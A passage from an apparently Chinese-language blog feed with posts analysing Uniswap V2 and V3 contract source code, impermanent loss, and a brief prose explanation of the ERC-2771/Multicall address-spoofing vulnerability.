Initialize(sqrtPriceX96, tick); }</code></pre><p>slot0结构如下:</p><p>sqrtPriceX96:交易对当前的开根号价格</p><p>tick:当前的tick</p><p>observationIndex:最近更新的观测点数组序号</p><p>observationCardinality:观测点数组容量(最大65536,最小1)</p><p>observationCardinalityNext:下一个观测点数组容量。</p><p>feeProtocol:协议手续费比例,可以分别为token0和token1设置交易手续费中分给协议的比例</p><p>unlocked:当前交易对合约是否非锁定状态</p><h3 id="mint"><a href="#mint" class="headerlink" title="mint"></a>mint</h3><p>用于添加流动性。</p><pre class=" language-solidity"><code class="language-solidity"> function mint( address recipient, int24 tickLower, int24 tickUpper, uint128 amount, bytes calldata data ) external override lock returns (uint256 amount0, uint256 amount1) { require(amount > 0); (, int256 amount0Int, int256 amount1Int) = _modifyPosition( ModifyPositionParams({ owner: recipient, tickLower: tickLower, tickUpper: tickUpper, liquidityDelta: int256(amount).toInt128() }) ); amount0 = uint256(amount0Int); amount1 = uint256(amount1Int); uint256 balance0Before; uint256 balance1Before; if (amount0 > 0) balance0Before = balance0(); if (amount1 > 0) balance1Before = balance1(); IUniswapV3MintCallback(msg.sender).uniswapV3MintCallback(amount0, amount1, data); if (amount0 > 0) require(balance0Before.add(amount0) <= balance0(), 'M0'); if (amount1 > 0) require(balance1Before.add(amount1) <= balance1(), 'M1'); emit Mint(msg.sender, recipient, tickLower, tickUpper, amount, amount0, amount1); }</code></pre><p>首先通过_modifyPosition计算添加amount0的流动性所需要的token0的数量amount0Int和token1的数量amount1Int。</p><p>然后就是转账,改变状态没什么可说的。</p><p>值得注意的是转账通过回调msg.sender进行,因此个人EOA账户无法调用mint。</p><p>接下来分析_modifyPosition是如何计算的</p><pre class=" language-solidity"><code class="language-solidity"> function _modifyPosition(ModifyPositionParams memory params) private noDelegateCall returns ( Position.Info storage position, int256 amount0, int256 amount1 ) { checkTicks(params.tickLower, params.tickUpper); Slot0 memory _slot0 = slot0; position = _updatePosition( params.owner, params.tickLower, params.tickUpper, params.liquidityDelta, _slot0.tick ); if (params.liquidityDelta != 0) { if (_slot0.tick < params.tickLower) { amount0 = SqrtPriceMath.getAmount0Delta( TickMath.getSqrtRatioAtTick(params.tickLower), TickMath.getSqrtRatioAtTick(params.tickUpper), params.liquidityDelta ); } else if (_slot0.tick < params.tickUpper) { uint128 liquidityBefore = liquidity; (slot0.observationIndex, slot0.observationCardinality) = observations.write( _slot0.observationIndex, _blockTimestamp(), _slot0.tick, liquidityBefore, _slot0.observationCardinality, _slot0.observationCardinalityNext ); amount0 = SqrtPriceMath.getAmount0Delta( _slot0.sqrtPriceX96, TickMath.getSqrtRatioAtTick(params.tickUpper), params.liquidityDelta ); amount1 = SqrtPriceMath.getAmount1Delta( TickMath.getSqrtRatioAtTick(params.tickLower), _slot0.sqrtPriceX96, params.liquidityDelta ); liquidity = LiquidityMath.addDelta(liquidityBefore, params.liquidityDelta); } else { amount1 = SqrtPriceMath.getAmount1Delta( TickMath.getSqrtRatioAtTick(params.tickLower), TickMath.getSqrtRatioAtTick(params.tickUpper), params.liquidityDelta ); } } }</code></pre><p>首先检查流动性区间是否合规。</p><p>然后通过_updatePosition函数更新头寸。(这个后面会说)</p><p>最后通过getAmount0Delta和getAmount1Delta计算需要提供的token0的数量amount0和token1的数量amount1。</p><p>具体计算逻辑如下:</p><pre><code> 当你提供流动性的区间的最小值大于当前tick_ic时,也就是区间在c的上方时,用户只需要提供x代币即可(amount0)。</code></pre><p>反之,提供y代币(amount1)。</p><pre><code> 当tick_ic被包含在你提供流动性的区间时,也就是c在区间内部时,用户需要提供x代币和y代币。</code></pre><p>值得注意的时当tick_ic被包含在你提供流动性的区间时,会记录一次观测点数据(也就是此时资产价格),且会更新当前交易对的全局活跃流动性liquidity(后面会用)。</p><p>接下来分析_updatePosition。</p><pre class=" language-solidity"><code class="language-solidity">function _updatePosition( address owner, int24 tickLower, int24 tickUpper, int128 liquidityDelta, int24 tick ) private returns (Position.Info storage position) { position = positions.get(owner, tickLower, tickUpper); uint256 _feeGrowthGlobal0X128 = feeGrowthGlobal0X128; uint256 _feeGrowthGlobal1X128 = feeGrowthGlobal1X128; bool flippedLower; bool flippedUpper; if (liquidityDelta != 0) { uint32 time = _blockTimestamp(); (int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128) = observations.observeSingle( time, 0, slot0.tick, slot0.observationIndex, liquidity, slot0.observationCardinality ); flippedLower = ticks.update( tickLower, tick, liquidityDelta, _feeGrowthGlobal0X128, _feeGrowthGlobal1X128, secondsPerLiquidityCumulativeX128, tickCumulative, time, false, maxLiquidityPerTick ); flippedUpper = ticks.update( tickUpper, tick, liquidityDelta, _feeGrowthGlobal0X128, _feeGrowthGlobal1X128, secondsPerLiquidityCumulativeX128, tickCumulative, time, true, maxLiquidityPerTick ); if (flippedLower) { tickBitmap.flipTick(tickLower, tickSpacing); } if (flippedUpper) { tickBitmap.flipTick(tickUpper, tickSpacing); } } (uint256 feeGrowthInside0X128, uint256 feeGrowthInside1X128) = ticks.getFeeGrowthInside(tickLower, tickUpper, tick, _feeGrowthGlobal0X128, _feeGrowthGlobal1X128); position.update(liquidityDelta, feeGrowthInside0X128, feeGrowthInside1X128); if (liquidityDelta < 0) { if (flippedLower) { ticks.clear(tickLower); } if (flippedUpper) { ticks.clear(tickUpper); } } }</code></pre><p>首先获取用户的流动性头寸,token0和token1的手续费(Pool的总手续费,所有头寸的总和)</p><p>然后通过observeSingle更新Oracle数据,接着使用ticks.update分别更新价格区间低点(tickLower)和价格区间高点(tickUpper)的状态。</p><p>然后计算该价格区间的累积每流动性手续费。</p><p>然后更新头寸信息,包括头寸的应收手续费tokensOwed0和tokensOwed1,以及头寸流动性liquidity。</p><p>如果是移除流动性,并且tick被翻转,则调用clear清空tick状态。</p><h3 id="burn"><a href="#burn" class="headerlink" title="burn"></a>burn</h3><p>销毁流动性的逻辑与添加流动性几乎相同,唯一的区别是liquidityDelta是负的。就不再赘述了。</p><h3 id="swap"><a href="#swap" class="headerlink" title="swap"></a>swap</h3><p>swap的逻辑十分复杂,让我们一步一步来分析。</p><p>先来看几个参数</p><pre class=" language-solidityfunction"><code class="language-solidityfunction"> address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data ) external override noDelegateCall returns (int256 amount0, int256 amount1) {</code></pre><p>recipient:交易后的代币接收者</p><p>zeroForOne:如果从token0交换token1则为true,从token1交换token0则为false</p><p>amountSpecified: 指定的代币数量,如果为正,表示希望输入的代币数量;如果为负,则表示希望输出的代币数量</p><p>sqrtPriceLimitX96:能够承受的价格上限(或下限),格式为Q64.96;如果从token0到token1,则表示swap过程中的价格下限;如果从token1到token0,则表示价格上限;如果价格超过该值,则swap失败</p><p>data:回调参数</p><p>然后通过<code>MLOAD</code>(节省gas)定义一些数据。</p><p>当准备工作完成以后,才真正的开开始swap,实际的swap交易在一个循环中发生,让我们来仔细分析。</p><pre class=" language-solidity"><code class="language-solidity">// 当剩余代币为0或价格到达用户的上限(下限)时结束循环while (state.amountSpecifiedRemaining != 0 && state.sqrtPriceX96 != sqrtPriceLimitX96) { // 交易过程每一次循环的状态变量 StepComputations memory step; // 交易的起始价格 step.sqrtPriceStartX96 = state.sqrtPriceX96; // 通过位图找到下一个可以选的交易价格 (step.tickNext, step.initialized) = tickBitmap.nextInitializedTickWithinOneWord( state.tick, tickSpacing, zeroForOne ); // 确保不会超出最小/最大刻度 if (step.tickNext < TickMath.MIN_TICK) { step.tickNext = TickMath.MIN_TICK; } else if (step.tickNext > TickMath.MAX_TICK) { step.tickNext = TickMath.MAX_TICK; } //根据tickNext计算下一个tick的价格 step.sqrtPriceNextX96 = TickMath.getSqrtRatioAtTick(step.tickNext); // 计算交换后的价格, 消耗的输入代币数量, 得到的输出代币数量, 交易手续费 (state.sqrtPriceX96, step.amountIn, step.amountOut, step.feeAmount) = SwapMath.computeSwapStep( state.sqrtPriceX96, (zeroForOne ? step.sqrtPriceNextX96 < sqrtPriceLimitX96 : step.sqrtPriceNextX96 > sqrtPriceLimitX96) ? sqrtPriceLimitX96 : step.sqrtPriceNextX96, state.liquidity, state.amountSpecifiedRemaining, fee ); // 更新tokenIn的余额,以及tokenOut数量 if (exactInput) { state.amountSpecifiedRemaining -= (step.amountIn + step.feeAmount).toInt256(); state.amountCalculated = state.amountCalculated.sub(step.amountOut.toInt256()); } else { state.amountSpecifiedRemaining += step.amountOut.toInt256(); state.amountCalculated = state.amountCalculated.add((step.amountIn + step.feeAmount).toInt256()); } // 如果协议费用开启,则计算应支付给协议的费用 if (cache.feeProtocol > 0) { uint256 delta = step.feeAmount / cache.feeProtocol; step.feeAmount -= delta; state.protocolFee += uint128(delta); } // 更新全局手续费用 if (state.liquidity > 0) state.feeGrowthGlobalX128 += FullMath.mulDiv(step.feeAmount, FixedPoint128.Q128, state.liquidity); // 如果此时的价格 = 一个tick的价格,就更新流动性 L 的值 if (state.sqrtPriceX96 == step.sqrtPriceNextX96) { // 检查如果该tick已经初始化,即是否为另一个流动性的边界 if (step.initialized) { if (!cache.computedLatestObservation) { (cache.tickCumulative, cache.secondsPerLiquidityCumulativeX128) = observations.observeSingle( cache.blockTimestamp, 0, slot0Start.tick, slot0Start.observationIndex, cache.liquidityStart, slot0Start.observationCardinality ); cache.computedLatestObservation = true; } // 计算当价格穿过该 tick 时,处于激活的流动性需要变化的数量 int128 liquidityNet = ticks.cross( step.tickNext, (zeroForOne ? state.feeGrowthGlobalX128 : feeGrowthGlobal0X128), (zeroForOne ? feeGrowthGlobal1X128 : state.feeGrowthGlobalX128), cache.secondsPerLiquidityCumulativeX128, cache.tickCumulative, cache.blockTimestamp ); // 根据价格增加/减少,即向左或向右移动,增加/减少相应的流动性 if (zeroForOne) liquidityNet = -liquidityNet; // 更新流动性 state.liquidity = LiquidityMath.addDelta(state.liquidity, liquidityNet); } // 移动当前tick到下一个tick state.tick = zeroForOne ? step.tickNext - 1 : step.tickNext; } else if (state.sqrtPriceX96 != step.sqrtPriceStartX96) { // aoumtIn被耗尽,使用交换后的价格计算最新的tick值 state.tick = TickMath.getTickAtSqrtRatio(state.sqrtPriceX96); }}</code></pre><p>在完成交换后,然后更新全局状态</p><pre class=" language-solidity"><code class="language-solidity">if (state.tick != slot0Start.tick) { (uint16 observationIndex, uint16 observationCardinality) = observations.write( slot0Start.observationIndex, cache.blockTimestamp, slot0Start.tick, cache.liquidityStart, slot0Start.observationCardinality, slot0Start.observationCardinalityNext ); (slot0.sqrtPriceX96, slot0.tick, slot0.observationIndex, slot0.observationCardinality) = ( state.sqrtPriceX96, state.tick, observationIndex, observationCardinality );} else { slot0.sqrtPriceX96 = state.sqrtPriceX96;}</code></pre><p>如果此时的tick与开始时的tick不同就记录一次观测点数据,更新slot0.sqrtPriceX96, slot0.tick等值。</p><p>如果交换前后tick值相同,则只需要修改价格</p><pre class=" language-solidity"><code class="language-solidity"> if (cache.liquidityStart != state.liquidity) liquidity = state.liquidity;</code></pre><p>更新全局流动性</p><pre class=" language-solidity"><code class="language-solidity"> if (zeroForOne) { feeGrowthGlobal0X128 = state.feeGrowthGlobalX128; if (state.protocolFee > 0) protocolFees.token0 += state.protocolFee; } else { feeGrowthGlobal1X128 = state.feeGrowthGlobalX128; if (state.protocolFee > 0) protocolFees.token1 += state.protocolFee; }</code></pre><p>更新累积手续费和协议手续费。(注意,如果是从token0交换token1,则只能收取token0作为手续费;反之,只能收取token1作为手续费。)</p><pre class=" language-solidity"><code class="language-solidity"> (amount0, amount1) = zeroForOne == exactInput ? (amountSpecified - state.amountSpecifiedRemaining, state.amountCalculated) : (state.amountCalculated, amountSpecified - state.amountSpecifiedRemaining);</code></pre><p>确定最终用户支付的 token 数和得到的 token 数。</p><pre class=" language-solidity"><code class="language-solidity">if (zeroForOne) { if (amount1 < 0) TransferHelper.safeTransfer(token1, recipient, uint256(-amount1)); uint256 balance0Before = balance0(); IUniswapV3SwapCallback(msg.sender).uniswapV3SwapCallback(amount0, amount1, data); require(balance0Before.add(uint256(amount0)) <= balance0(), 'IIA'); } else { if (amount0 < 0) TransferHelper.safeTransfer(token0, recipient, uint256(-amount0)); uint256 balance1Before = balance1(); IUniswapV3SwapCallback(msg.sender).uniswapV3SwapCallback(amount0, amount1, data); require(balance1Before.add(uint256(amount1)) <= balance1(), 'IIA'); }</code></pre><p>最后转账。</p><h3 id="flash"><a href="#flash" class="headerlink" title="flash"></a>flash</h3><p>与V2一样,V3版本中也又两种闪电贷,但是是通过不同的函数接口来完成的。</p><p>第一种是普通的闪电贷,借入和还贷的token相同,通过UniswapV3Pool.flash()完成。<br>第二种是类似V2的flash swap,借入和还贷的token不同,这个是通过UniswapV3Pool.swap()来完成的。</p><p>就不赘述了。</p><h3 id="collect"><a href="#collect" class="headerlink" title="collect"></a>collect</h3><pre class=" language-solidity"><code class="language-solidity"> function collect( address recipient, int24 tickLower, int24 tickUpper, uint128 amount0Requested, uint128 amount1Requested ) external override lock returns (uint128 amount0, uint128 amount1) { // we don't need to checkTicks here, because invalid positions will never have non-zero tokensOwed{0,1} Position.Info storage position = positions.get(msg.sender, tickLower, tickUpper); amount0 = amount0Requested > position.tokensOwed0 ? position.tokensOwed0 : amount0Requested; amount1 = amount1Requested > position.tokensOwed1 ? position.tokensOwed1 : amount1Requested; if (amount0 > 0) { position.tokensOwed0 -= amount0; TransferHelper.safeTransfer(token0, recipient, amount0); } if (amount1 > 0) { position.tokensOwed1 -= amount1; TransferHelper.safeTransfer(token1, recipient, amount1); } emit Collect(msg.sender, recipient, tickLower, tickUpper, amount0, amount1); }</code></pre><p>逻辑比较简单,首先获取用户的头寸,再计算提取的代币数量amount0与amount1,最后更新状态,转移代币。</p>]]></content>
</entry>
<entry>
<title>任意地址欺骗攻击:ERC2771</title>
<link href="/2024/03/27/%E4%BB%BB%E6%84%8F%E5%9C%B0%E5%9D%80%E6%AC%BA%E9%AA%97%E6%94%BB%E5%87%BB%EF%BC%9AERC2771/"/>
<url>/2024/03/27/%E4%BB%BB%E6%84%8F%E5%9C%B0%E5%9D%80%E6%AC%BA%E9%AA%97%E6%94%BB%E5%87%BB%EF%BC%9AERC2771/</url>
<content type="html"><![CDATA[<h1 id="任意地址欺骗攻击:ERC2771"><a href="#任意地址欺骗攻击:ERC2771" class="headerlink" title="任意地址欺骗攻击:ERC2771"></a>任意地址欺骗攻击:ERC2771</h1><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>最近OpenZeppelin发表了一篇文章,在文章中指出,在项目中同时MulticallERC-2771和ERC-2771时容易受到地址欺骗的攻击。同时以太坊主网上的Time代币正因该漏洞遭受到攻击。</p><h2 id="前置知识"><a href="#前置知识" class="headerlink" title="前置知识"></a>前置知识</h2><p>ERC-2771实现了元交易的标准,允许用户委托第三方Forwarder执行交易,能够降低gas成本。在使用ERC-2771的情况下,如果msg.sender为Forwarder地址,会将传入的calldata的最后20个字节来作为交易的直接调用者地址。</p><p>Multicall主要作用是在单个函数调用中批量调用多个函数的方法,从而减少gas成本。</p><h2 id="漏洞"><a href="#漏洞" class="headerlink" title="漏洞"></a>漏洞</h2><p>在Time代币的攻击事件中,攻击者通过Forwarder.execute函数调用代币合约的multicall函数,执行burn函数。这种方式成功通过ERC-2771的isTrustedForwarder判断,将函数的调用者解析为攻击者恶意构造的calldata的最后20个字节。导致他人的代币被恶意销毁。</p>]]></content>
</entry>
<entry>
<title>Uniswap V3分析(一)</title>
<link href="/2024/03/27/Uniswap-V3%E5%88%86%E6%9E%90(%E4%B8%80)/"/>
<url>/2024/03/27/Uniswap-V3%E5%88%86%E6%9E%90(%E4%B8%80)/</url>
<content type="html"><![CDATA[<h1 id="Uniswap-V3分析-一"><a href="#Uniswap-V3分析-一" class="headerlink" title="Uniswap V3分析(一)"></a>Uniswap V3分析(一)</h1><p>本文将对复杂的Uniswap3进行分析。</p><h2 id="准备"><a href="#准备" class="headerlink" title="准备"></a>准备</h2><p><a href="https://blog.uniswap.org/uniswap-v3">官方博客</a></p><p><a href="https://uniswap.org/whitepaper-v3.pdf">白皮书</a></p><p><a href="https://github.com/Uniswap/v3-core">core</a></p><p><a href="https://github.com/Uniswap/v3-periphery">periphery</a></p><h2 id="架构"><a href="#架构" class="headerlink" title="架构"></a>架构</h2><p>v3在代码层面的架构和v2基本保持一致。</p><p>core的功能主要包含在以下2个合约中:</p><p>UniswapV3Factory: 提供创建pool的接口,并且追踪所有的pool。</p><p>UniswapV3Pool: 负责核心逻包括swap/mint/burn等。</p><p>peirphery的功能主要包含在以下2个合约:</p><p>SwapRouter: 提供代币交易的接口,它是对UniswapV3Pool合约中交易相关接口的进一步封装,用来提升用户体验。</p><p>NonfungiblePositionManager: 用来增加/移除/修改Pool的流动性,并且通过 NFT token 将流动性代币化。使用ERC721 token (v2 使用的是 ERC20) 的原因是同一个池的多个流动性并不能等价替换(v3 的集中流性动功能)。</p><h2 id="设计原理"><a href="#设计原理" class="headerlink" title="设计原理"></a>设计原理</h2><h3 id="LP的权衡"><a href="#LP的权衡" class="headerlink" title="LP的权衡"></a>LP的权衡</h3><p>Uniswap v2版本使用x⋅y=k这样一个简洁的公式实现了AMM Dex。但是这么做并不是毫无代价。LP要为所有的价格都需要提供流动性。那么就意味着即使在毫无可能的价格上,LP也需要负责提供流动性。导致资金利用率太低。</p><p>例如当前 1ETH=1800 USDT。按照Uniswap V2的设计,从1 ETH = 0 USDT 到 1 ETH = 正无穷大个USDT这条曲线上的任一点,LP都有义务提供流动性。例如在1 ETH= 10USDT 这样荒谬的价格上,每个LP也需要按比例在ETH:USDT池中需要持有一定数量的ETH。</p><p>为了解决资金利用率太低的问题,Uniswap v3版本的AMM曲线从无限变成局部。通过引入虚拟流动性,允许用户只在一段价格区间内提供流动性。</p><p>在 x⋅y=k 的函数曲线图中,为了满足让用户可以选择只在[a,b]价格区间内提供流动性。对于图中 [a,b] 区间的任意点,都有</p><pre class=" language-solidity"><code class="language-solidity">(X_virtual+X_real) * (Y_virtual+Y_real) = k = L*L</code></pre><p>这里的virtual变量只和L, a,b有关,和X_real,Y_real没有关系。X_real,Y_real为用户提供的Xtoken,Ytoken数量。注意,X_virtual和Y_virtual虚拟出的只是为了计算一致性,并不会参与真实交易,因此其数量是恒定不变的。当价格变动,移动到用户设定的价格区间之外时,流动池会移除这部分流动性。</p><h3 id="Tick"><a href="#Tick" class="headerlink" title="Tick"></a>Tick</h3><p>UniswapV3将连续的价格范围,分割成有限个离散的价格点。每一个价格对应一个 tick,用户在设置流动性的价格区间时,只能选择这些离散的价格点中的某一个作为流动性的边界价格。</p><p>tick有如下特征:</p><pre><code>tick组成的价格序列既为一串等比数列,公比为 1.0001,即p_i = 1.0001^i为了计算方便,实际计算过程使用的是√P,即√p_i = (√1.0001)^itick的序号是固定的整数集合,即 区间 [-887272, 887272] 的整数。</code></pre><h3 id="V3的交易"><a href="#V3的交易" class="headerlink" title="V3的交易"></a>V3的交易</h3><p>因为每一个用户提供的流动性都可能设置不同的价格区间,这样一来一个交易对的池子中就包含了多个不同的流动性。因此从单个交易池的视角来看,Uniswap v3实际上扮演的角色是一个交易聚合器。当发生交易时,此交易会拆分成多个,通过池中多个不同的流动性来进行交易,最后将交易结果聚合,完成最终的交易过程。</p><p>而交易的具体过程又类似于LOB,每对Tick都可以看做一个具有流动性L的池。这个池的功能就是流动性不变的情况下,完成x和y的兑换功能。所以tick i和tick i+1可以看做一组限价单。交易的过程不停进行x和y的买入卖出,直到这对tick的流动性L被耗尽。此时系统再转移到下一组tick 继续执行订单。</p><h3 id="V3的手续费"><a href="#V3的手续费" class="headerlink" title="V3的手续费"></a>V3的手续费</h3><p>在v1和v2中,每个交易对对应一个独立的流动性池,对所有池收取0.30%的手续费。但对于部分池子可能太高了(稳定币池),而对于另一部分池子又太低了(高波动性)。</p><p>为了解决这个问题,v3为每个交易对引入了多种池,允许分别设置不同的交易手续费。默认允许创建三个手续费等级:0.05%,0.30%和1%。可以通过UNI治理添加更多手续费等级。</p><h3 id="手续费"><a href="#手续费" class="headerlink" title="手续费"></a>手续费</h3><p>当价格来到一个tick,我们只要记录这个tick上的交易量,根据费率算出该区间的总手续费,然后找出所有包含该 tick 流动性头寸 position,先将他们的数量汇总,再根据出资比例逐个分配手续费,将数值累加到待每个头寸的待收取手续费的变量上。</p><p>这是一个很常见的反法,但是十分消耗gas。因为一笔交易可能会横跨很多个tick,且单个tick 的计算,就有可能涉及到非常多的流动性头寸 position,这不但需要一个耗时的遍历查找的过程,更严重的问题是,每个流动性头寸的待收取手续费肯定是要写入一个storage变量。</p><p>V3中为了解决这个问题使用了如下方法:</p><p>先看要用到的变量:</p><pre><code>feeGrowthGlobal:表示全局累计的手续费总额feeGrowthOutside:表示发生在此tick外侧的手续费总额feeGrowthInside:表示此position内的手续费总额(注:只会在position发生变动或者用户提取手续费时更新)</code></pre><p>V3定义为与当前价格所对应的 tick 相对于 tick i 的相反侧。</p><p>此时便可以计算出position内的手续费总额,注意根据 i_current, a, b 三者位置关系不同,需要判断above和below的计算方式,</p><p>每当有流动性注入的时候,在价格的边界对应的 tick 上有如下初始化规则:</p><pre><code>当 i_current < i 则 feeGrowthOutside = feeGrowthGlobal当 i_current >= i 则 feeGrowthOutside = 0</code></pre><p>在交易过程中,feeGrowthOutside 有如下更新规则:</p><p>当价格穿过某个已初始化的 tick 时,该 tick 上的 feeGrowthOutside 需要翻转,因为外侧手续费永远要在当前价格的另一侧,固 feeGrowthOutside = feeGrowthGlobal - feeGrowthOutside</p>]]></content>
</entry>
<entry>
<title>Uniswap V2的思考</title>
<link href="/2024/03/26/Uniswap-V2%E7%9A%84%E6%80%9D%E8%80%83/"/>
<url>/2024/03/26/Uniswap-V2%E7%9A%84%E6%80%9D%E8%80%83/</url>
<content type="html"><![CDATA[<h1 id="Uniswap-V2的思考"><a href="#Uniswap-V2的思考" class="headerlink" title="Uniswap V2的思考"></a>Uniswap V2的思考</h1><p>Uniswap通过 x * y = k 这个恒定乘积的等式完成了链上自动做市。当然它也有一个特别大的缺点,就是随着池中B的减少,B的价格会越来越贵,和外部的价格越来越偏离了。为了解决这种偏离,套利者会通过其连续的套利活动将差异抹到可以忽略的地步。</p><p>那么是谁在支付这些收益。 </p><p>Uniswap的项目方不可能支付这些利润。他们只是提供智能合约。</p><p>其他交易者如果发现池中价格比起外部价格存在差异,理性的行为是参与套利。 </p><p>那么剩下来唯一支付这些利润的就是提供流动性的做市者了。他们的损失也正是套利者为了平衡内外价格而获得的利润。因此Uniswap通过交易手续费的方式,为流动性提供者进行了补偿。</p><h2 id="Impermanent-Loss"><a href="#Impermanent-Loss" class="headerlink" title="Impermanent Loss"></a>Impermanent Loss</h2><p>流动性提供者的损失是如何产生的?</p><p>来看一个简单的例子。</p><p>假如有池子ETH:USDT,假设流动性提供者按照当时的市场价格 1 ETH=500 DAI 提供了 20个ETH 和10000个DAI。此时LP持有的资产价值=10000 DAI +20ETH = 20000 DAI。</p><p>过了一段时间,外部交易所的ETH 价格变化为 1 ETH=550 DAI,而此时我们的池子还是维持 500 DAI 的价格。这就意味着出现一个套利机会。</p><p>套利者在池中支付DAI,获得ETH,并且在外部卖出,就可以获得无风险的差价。而套利本身将让池中的ETH/DAI价格从500上升到550,这样套利机会也就消失了。</p><p>套利者需要付出488个DAI,提取0.93个ETH 就可以让池内价格变成550。套利者的利润则是0.93*550–488=23.5 DAI。如果我们按照外部市场价计算LP手中的代币,那么总价值会是21000 DAI。但是池内经过套利平衡后,价格虽然和外部市场价一样,单价是两种代币的比例发生了变化,,因此总价值只有20976.59。</p><p>假设如果外部市场价格再一次回到了500,那么套利者可以通过支付0.93个ETH,获取488个DAI,让池内的价格ETH和DAI又回到了期初的状态。 LP此时又回到了最初的状态,没有亏损。</p><h1 id="总结:"><a href="#总结:" class="headerlink" title="总结:"></a>总结:</h1><p>1只要流动性池的价格偏离外部价格,套利者总是可以无风险获得收益,LP则总是出现浮动亏损,最好的情况就是不亏损。</p><p>2只要LP不退出流动性池,那么当外部市场价格回到建立池的价格时,LP依然可以保留全部资产不亏损,所以LP的亏损是一个浮动的亏损,而非实际的亏损。</p><p>3 套利活动让价格趋于一致,代价就是LP付出了套利者的利润。</p>]]></content>
</entry>
<entry>
<title>Uniswap V2分析</title>
<link href="/2024/03/24/Uniswap-V2%E5%88%86%E6%9E%90/"/>
<url>/2024/03/24/Uniswap-V2%E5%88%86%E6%9E%90/</url>
<content type="html"><![CDATA[<h1 id="Uniswap-V2分析"><a href="#Uniswap-V2分析" class="headerlink" title="Uniswap V2分析"></a>Uniswap V2分析</h1><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>作为AMM的开创者,Uniswap在defi领域有着举足轻重的地位,<a href="https://tokenterminal.com/terminal">稳居top1</a>,并且除了稳定币兑换池,Uniswap的交易量可以说是遥遥领先于其它DEX。所以让我们来看看它具体是如何实现的。之所以分析V2,是应为V1是用vyper写的。</p><p><a href="https://github.com/Uniswap/v2-core">core源码地址</a><br><a href="https://github.com/Uniswap/v2-periphery">periphery源码地址</a></p><h2 id="架构"><a href="#架构" class="headerlink" title="架构"></a>架构</h2><p>Uniswap V2主要分为core与periphery两个模块。</p><pre><code>Uniswap-v2-periphery--------Uniswap-v2-core | UniswapV2Migrator.sol | UniswapV2ERC20.sol |UniswapV2Router01.sol | UniswapV2Factory.sol |UniswapV2Router01.sol | UniswapV2Pair.sol | </code></pre><p>我们先介绍几个主要合约的功能:</p><p>uniswap-v2-core<br>UniswapV2Factory:工厂合约,用于创建Pair合约</p><p>UniswapV2Pair:负责核心逻辑,如swap/mint/burn,价格预言机等功能,其本身是一个ERC20合约,继承UniswapV2ERC20(Factory只允许创建唯一的交易对)</p><p>UniswapV2ERC20:这是一个扩展的ERC20实现,用于实现LPToken</p><p>uniswap-v2-periphery</p><p>UniswapV2Router02:最新版的路由合约,相比UniswapV2Router01增加了对FeeOnTransfer代币的支持;实现Uniswap v2最常用的接口,比如添加/移除流动性,使用代币A交换代币B,使用ETH交换代币等,用来提升用户的体验。</p><p>UniswapV1Router01:旧版本Router实现,与Router02类似,但不支持FeeOnTransferTokens,目前已不使用</p><p>UniswapV2Migrator:用于迁移流动性</p><h2 id="core"><a href="#core" class="headerlink" title="core"></a>core</h2><h3 id="UniswapV2Factory"><a href="#UniswapV2Factory" class="headerlink" title="UniswapV2Factory"></a>UniswapV2Factory</h3><p>在工厂合约中最重要的是createPair方法</p><pre class=" language-solidity"><code class="language-solidity">function createPair(address tokenA, address tokenB) external returns (address pair) { require(tokenA != tokenB, 'UniswapV2: IDENTICAL_ADDRESSES'); (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2: ZERO_ADDRESS'); require(getPair[token0][token1] == address(0), 'UniswapV2: PAIR_EXISTS'); // single check is sufficient bytes memory bytecode = type(UniswapV2Pair).creationCode; bytes32 salt = keccak256(abi.encodePacked(token0, token1)); assembly { pair := create2(0, add(bytecode, 32), mload(bytecode), salt) } IUniswapV2Pair(pair).initialize(token0, token1); getPair[token0][token1] = pair; getPair[token1][token0] = pair; // populate mapping in the reverse direction allPairs.push(pair); emit PairCreated(token0, token1, pair, allPairs.length);}</code></pre><p>具体实现是先判断tokenA与tokenB是否相同,然后排序(防止生成A-B与B-A这样的相同的pair),再用create2生成合约,最后记录合约地址。</p><h3 id="UniswapV2ERC20"><a href="#UniswapV2ERC20" class="headerlink" title="UniswapV2ERC20"></a>UniswapV2ERC20</h3><p>标准的ERC20实现,唯一不同的是实现了EIP-2612以支持转账的离线授权</p><pre class=" language-solidity"><code class="language-solidity">function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external { require(deadline >= block.timestamp, 'UniswapV2: EXPIRED'); bytes32 digest = keccak256( abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)) ) ); address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE'); _approve(owner, spender, value);}</code></pre><h3 id="UniswapV2Pair"><a href="#UniswapV2Pair" class="headerlink" title="UniswapV2Pair"></a>UniswapV2Pair</h3><p>Pair合约主要实现了四个方法:mint,burn,swap,skim。</p><h4 id="mint"><a href="#mint" class="headerlink" title="mint"></a>mint</h4><p>用于添加流动性。</p><pre class=" language-solidity"><code class="language-solidity"> function mint(address to) external lock returns (uint liquidity) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings uint balance0 = IERC20(token0).balanceOf(address(this)); uint balance1 = IERC20(token1).balanceOf(address(this)); uint amount0 = balance0.sub(_reserve0); uint amount1 = balance1.sub(_reserve1); bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; if (_totalSupply == 0) { liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY); _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens } else { liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1); } require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED'); _mint(to, liquidity); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Mint(msg.sender, amount0, amount1); 